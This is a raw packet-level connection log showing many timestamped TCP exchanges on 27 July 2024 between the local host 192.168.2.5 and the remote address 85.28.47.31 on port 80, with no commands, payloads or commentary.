Jul 27, 2024 09:25:07.206056118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.206060886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.206083059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.206099033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.294750929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.294819117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.294855118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.294887066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.294920921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.294953108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.294987917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295022964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295056105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295114040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295115948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295114040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295114040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295114040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295114040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295156002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295156002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295167923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295201063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295233965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295264959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295296907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295327902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295363903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295396090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295429945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295448065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295448065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295448065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295448065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295448065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295448065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295448065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295461893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295496941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295496941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295496941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295526028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295619965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295656919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295684099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295689106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295713902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295725107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295752048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295794964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295829058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295839071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295861959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295866013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295902014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295912981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295950890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.295963049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.295994997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296000004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296026945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296032906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296065092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296077013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296109915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296118021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296143055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296149969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296175957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296183109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296211958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296216011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296251059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296262026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296294928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296303988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296327114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296334982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296360970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296367884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296399117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296411991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296442986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296471119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296492100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296510935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296557903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296560049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296614885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296629906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296649933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296660900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296681881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296689987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296715021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296720982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296747923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296758890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296782970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296791077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296812057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296833992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296845913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296854019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296888113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.296953917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296987057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.296998024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297019958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297030926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297053099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297065020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297086000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297100067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297118902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297132015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297152042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297164917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297184944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297197104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297218084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297228098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297257900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297267914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297302961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297310114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297336102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297354937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297415972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297444105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297462940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297494888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297507048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297528028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297538042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297561884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297579050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297595024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297614098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297626972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297640085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297661066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297677040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297693968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297709942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297728062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297744989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297760010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297777891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297794104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297811031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297826052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297840118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297861099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297873020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297893047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297908068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297925949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.297939062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.297967911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298141956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298175097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298185110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298207045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298219919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298240900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298252106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298274040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298285007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298305988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298319101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298337936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298351049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298372030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298386097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298403978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298429966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298435926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298444033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298475981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298476934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298520088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298527002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298561096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298568010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298588991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298604965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298621893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298635006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298655987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298667908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298698902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298706055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298732996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298739910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298767090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298774958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298799992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298809052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298831940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298842907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298872948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298912048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298943996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298955917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.298976898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.298985958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299010038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299017906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299041986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299052000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299072981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299083948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299108028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299115896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299139977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299149036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299171925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299180031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299204111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299216032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299237013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299246073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299268007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299278975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299302101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299308062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299338102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.299344063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.299380064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.387716055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.387789965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.387825966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.387860060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.387892008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.387893915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.387927055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.387944937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.387960911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.387973070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.387993097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388006926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388025999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388047934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388056993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388075113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388089895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388103962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388123035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388134003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388166904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388174057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388206005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388228893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388238907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388257027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388271093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388293982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388319016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388324976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388358116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388374090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388390064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388407946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388422012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388437986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388457060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388472080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388504028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388746977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388798952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388808012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388832092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388855934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388880968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388916016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388947964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.388972998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.388981104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389003038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389015913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389024973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389059067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389169931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389219999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389223099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389252901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389265060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389300108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389369965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389401913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389425993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389434099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389445066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389467001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389480114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389517069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389518976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389553070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389568090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389585972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389602900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389621019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389633894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389658928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389671087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389693022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389708996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389725924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389739990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389759064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389774084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389794111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389807940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389844894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.389955997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.389987946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390010118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390019894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390031099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390052080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390064001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390084982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390100956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390119076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390135050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390151978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390167952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390186071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390201092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390218973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390237093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390250921 CEST	80	49704	85.28.47.31	192.168.2.5
